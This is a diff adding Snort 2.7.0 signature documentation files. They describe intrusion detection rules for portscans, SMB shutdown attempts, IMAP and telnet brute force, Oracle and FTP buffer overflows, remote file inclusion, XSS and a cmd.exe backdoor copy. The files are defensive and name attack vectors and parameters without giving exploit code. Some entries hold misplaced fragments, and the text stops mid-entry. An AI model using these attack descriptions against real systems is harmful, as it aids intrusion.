+An attacker can supply overly long data in an IRC session between two
+clients to trigger the overflow.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/122-22.txt
+++ snort-2.7.0/doc/signatures/122-22.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-22
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a udp
+filtered decoy portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/2997.txt
+++ snort-2.7.0/doc/signatures/2997.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2997
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2273.txt
+++ snort-2.7.0/doc/signatures/2273.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2273
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to an
+IMAP server using brute force methods.
+
+--
+Impact:
+Attempted remote access.  
+This event may indicate that an attacker is attempting to guess username 
+and password combinations. Alternately, it may indicate that an authorized 
+user has entered an incorrect username and password combination a number 
+of times.
+
+--
+Detailed Information:
+An IMAP server will issue an error message after a failed login attempt.  
+This may be an indication of an attacker attempting brute force guessing 
+of username and password combinations.  It is also possible that an authorized 
+user has incorrectly entered a legitimate username and password combination.  
+
+This event will be generated after a number of failed attempts, in this
+case thirty attempted logins in thirty seconds.
+
+--
+Affected Systems:
+IMAP servers.
+
+--
+Attack Scenarios:
+An attacker may attempt to guess username and password combinations.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This event may be triggered by a failed IMAP login attempt from a remote user.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Investigate the host for signs of compromise.
+
+Check mail logs for repeated failed attempts to login using 
+one or more usernames.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1779.txt
+++ snort-2.7.0/doc/signatures/1779.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1779
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a directory traversal vulnerability associated with the Shambala FTP server. 
+
+--
+Impact:
+Information disclosure.  A successful attack may permit the navigation of directories and the viewing of files. 
+
+--
+Detailed Information:
+The Shambala FTP server may be susceptible an a directory traversal attack that permits the navigation and viewing of files in directories other than the intended FTP server's root directory. This exploit is conducted by executing the FTP command "CWD ..." or "cd ...".  This may possibly permit the identification and the viewing of files containing sensitive information.
+
+--
+Affected Systems:
+Shambala 4.5 FTP server running on Windows 95, 98, NT, and Windows 2000.
+
+--
+Attack Scenarios:
+An attacker may attempt to exploit this vulnerability to identify and view files on the vulnerable FTP server. 
+
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version or restrict anonymous FTP user access by assigning appropriate file permissions.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Miscellaneous:
+http://www.securiteam.com/windowsntfocus/5SP011P4KC.html
+
+--
--- snort-2.7.0.orig/doc/signatures/396.txt
+++ snort-2.7.0/doc/signatures/396.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+396
+
+--
+
+Summary:
+This event is generated when an ICMP Destination Unreachable Fragmentation Needed datagram is detected on the network.  Gateway devices normally generate these ICMP messages when the destination network requires fragmentation before the datagram can be forwarded by a gateway.
+
+--
+
+Impact:
+This ICMP message will be generated when the destination network specified in the datagram requires fragmentation and the DF bit is set on the datagram.  This could be an indication of improperly configured network hosts.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/122-15.txt
+++ snort-2.7.0/doc/signatures/122-15.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-15
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically an ip
+filtered protocol sweep was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/2877.txt
+++ snort-2.7.0/doc/signatures/2877.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2877
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_site_priority_site
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000467.txt
+++ snort-2.7.0/doc/signatures/100000467.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000467
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "WebprojectDB" application running on a webserver. 
+Access to the file "nav.php" using a remote file being passed as the "INCDIR" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "INCDIR" parameter in the "nav.php" script used by the 
+"WebprojectDB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using WebprojectDB
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2653.txt
+++ snort-2.7.0/doc/signatures/2653.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2653
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in many
+useful tasks.  The "offline_og.begin_load" procedure is used for
+offline instantiation of master groups.  This procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck632.html
+
+--
--- snort-2.7.0.orig/doc/signatures/2111.txt
+++ snort-2.7.0/doc/signatures/2111.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+2111
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow condition in the Post Office Protocol (POP) command DELE.
+
+--
+Impact:
+Possible remote execution of arbitrary code leading to a remote root 
+compromise.
+
+--
+Detailed Information:
+A vulnerability exists such that an attacker may overflow a buffer by
+sending a line feed character to a POP server via the DELE command.
+
+--
+Attack Scenarios:
+Simple.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+RFC 1939:
+http://www.faqs.org/rfcs/rfc1939.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1077.txt
+++ snort-2.7.0/doc/signatures/1077.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1077
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1965.txt
+++ snort-2.7.0/doc/signatures/1965.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1965
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) ToolTalk.
+
+--
+Impact:
+Remote root access. This attack may permit the execution of arbitrary
+commands with the privileges of root.
+
+--
+Detailed Information:
+The ttdbserverd RPC service, more commonly known as the ToolTalk
+database server, allows applications to communicate in the Common
+Desktop Environment (CDE).  The ToolTalk service receives ToolTalk
+messages created and sent by applications and delivers them to the
+appropriate recipient applications.  The ToolTalk database server is
+enabled by default on hosts with CDE.  A function in the code receives
+an argument for a pathname.  If an overly long pathname is passed to the
+function, a buffer overflow may occur, possibly allowing the execution
+of arbitrary commands with the privileges of root.
+
+--
+Affected Systems:
+	HP HP-UX 10.10, 10.20, 10.30, 11.0
+	IBM AIX 4.1, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.2, 4.2.1, 4.3
+	SGI IRIX 5.2, 5.3, 6.0, 6.0.1, 6.2, 6.3, 6.4
+	Sun Solaris 1.1, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.2, 2.0, 2.1, 2.2, 2.3,
+	2.4, 2.5, 2.5.1, 2.6
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where
+ttdbserverd runs.  Alternately, an attacker may attempt to execute the
+exploit code on any listening port in the RPC range if the portmapper is
+blocked.
+
+--
+Ease of Attack:
+Simple.  Exploit scripts are freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2034.txt
+++ snort-2.7.0/doc/signatures/2034.txt
@@ -0,0 +1,85 @@
+Rule:
+
+--
+Sid:
+2034
+
+--
+Summary:
+A request has been made to rpc.ypserv from an external source that 
+should not have access to this service. This may be indicative of an 
+intelligence gathering activity as a prelude to a more serious 
+compromise of system resources.
+
+service against the target host.
+
+--
+Impact:
+Disclosure of sensitive system information to an unauthorized user. 
+Possible denial of service.
+
+--
+Detailed Information:
+The rpc.ypserv daemon queries information in the local NIS maps. A 
+response to this query may divulge important information to the user 
+performing the query. This could lead to futher exploitation of 
+resources on the network.
+
+In addition, a vulnerability exists in ypserv on some Linux platforms 
+that could lead to a buffer overflow and root compromise of the target 
+host. This is achieved by making a multitude of requests for a NIS map 
+that does not exist.
+
+--
+Affected Systems:
+Multiple systems running versions of ypserv prior to 2.5.
+
+--
+Attack Scenarios:
+The attacker can craft a malicious request to rpc.ypserv such that 
+valuable information can be returned to the attacker.
+
+In the case of a buffer overflow, the attacker might issue a large 
+therefore, be seen many times.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+Upgrade ypserv to the latest version.
+
+Use /var/yp/securenets to list the hosts allowed to access this resource
+where appropriate.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/6016
+http://www.securityfocus.com/bid/5914
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1232
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1043
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1042
+
+--
--- snort-2.7.0.orig/doc/signatures/3117.txt
+++ snort-2.7.0/doc/signatures/3117.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3117
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/497.txt
+++ snort-2.7.0/doc/signatures/497.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid: 497
+
+-- 
+Summary: 
+This event is generated by the successful completion of a file transfer operation. This may be indicative of post-compromise behavior indicating the use of a Windows command shell for copying files.
+
+-- 
+Impact: 
+Serious. An attacker may have the ability to transfer files from the victim host.
+
+-- 
+Detailed Information: 
+This event indicates that a file was successfully copied using Windows command line shell.  The string "1 file(s) copied" is shown after the successful completion of a Windows "copy" command. 
+
+Seeing this response in HTTP traffic indicates that an attacker may have been able to spawn a shell bound to a web port and has successfully executed the copy command. Note that the source address of this event is actually the victim and not that of the attacker.
+
+--
+
+Attack Scenarios: 
+An attacker gains an access to a Windows web server via an IIS vulnerability and then copies "cmd.exe" into the directory accessible by the web server, thus creating a backdoor to access the system.
+
+-- 
+
+Ease of Attack: 
+Simple. This may be post-attack behavior and can be indicative of the successful exploitation of a vulnerable system.
+
+-- 
+
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Investigate the web server for other signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000412.txt
+++ snort-2.7.0/doc/signatures/100000412.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000412
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "REDAXO" application running on a webserver. Access to the file "index.inc.php" using a remote file being passed as the "REX[INCLUDE_PATH]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "REX[INCLUDE_PATH]" parameter in the "index.inc.php" script used by the "REDAXO" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using REDAXO
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2340.txt
+++ snort-2.7.0/doc/signatures/2340.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2340
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with RhinoSoft Serv-u FTP Server CHMOD 
+command. 
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of 
+arbitrary commands with system privileges.
+
+--
+Detailed Information:
+Serv-u offers FTP servers for Windows hosts. A vulnerability exists 
+with the CHMOD command that can cause a buffer overflow and permit the 
+execution of arbitrary commands with system privileges. The buffer 
+overflow can be caused by supplying an overly long argument to the CHMOD 
+command.
+
+--
+Affected Systems:
+	RhinoSoft Serv-u FTP Server prior to version 4.2 
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the CHMOD 
+command, causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000567.txt
+++ snort-2.7.0/doc/signatures/100000567.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000567
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Qdig" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "pre_gallery" parameter in the "index.php" 
+script used by the "Qdig" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Qdig
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/492.txt
+++ snort-2.7.0/doc/signatures/492.txt
@@ -0,0 +1,102 @@
+Rule:
+  
+--
+
+Rule:
+--
+Sid:
+492
+
+--
+
+Summary:
+This event is generated when an unsuccessful login attempt was made via telnet.
+
+--
+
+Impact:
+Possible unauthorized access via password brute-forcing
+
+An attacker may have attempted to gain access to a valid user's account 
+via the telnet service, but did not succeed.  The telnet service is 
+running, which uses insecure authentication mechanisms.
+
+--
+
+Detailed Information:
+A user tried to log on to a system via telnet, but has been rejected,
+either due to invalid username, password, or both. This could mean 
+someone is trying to log on without proper password (if there are 
+multiple unsuccessful logins) or they may have just mistyped the 
+username or the password.
+
+The telnet server typically runs on TCP port 23.  Upon access to the
+server, account access is granted based on an unencrypted user name and
+password.  Upon a failed login (resulting from either an invalid account
+or an incorrect password), a login failure message will be returned.
+This rule matches the common text "Login failed".
+
+--
+
+Affected Systems:
+Any system running a telnet server.
+
+--
+
+Attack Scenarios:
+Attackers can, particularly when armed with a valid account name,
+attempt to use guessing attacks or brute-force means to gain access via
+the telnet service.  Many successive events of this type would likely be
+indicative of such an attack.
+
+The use of a telnet server allows the passive attack of traffic
+sniffing, which can extract a username and password from any valid
+login.
+
+--
+
+Ease of Attack:
+Simple.
+
+This event indicates it is possible to perform a brute-force attack; the
+ease of such an attack is dependent upon the strength of passwords, and
+rate-limiting techniques employed by the telnet server in question.
+
+--
+
+False Positives:
+This event will match any badly-typed or -remembered password, and will
+therefore generate a false positive.  Look for rapid successive events.
+
+--
+
+False Negatives:
+If a password is correctly guessed, no failure will be noted.
+
+--
+
+Corrective Action:
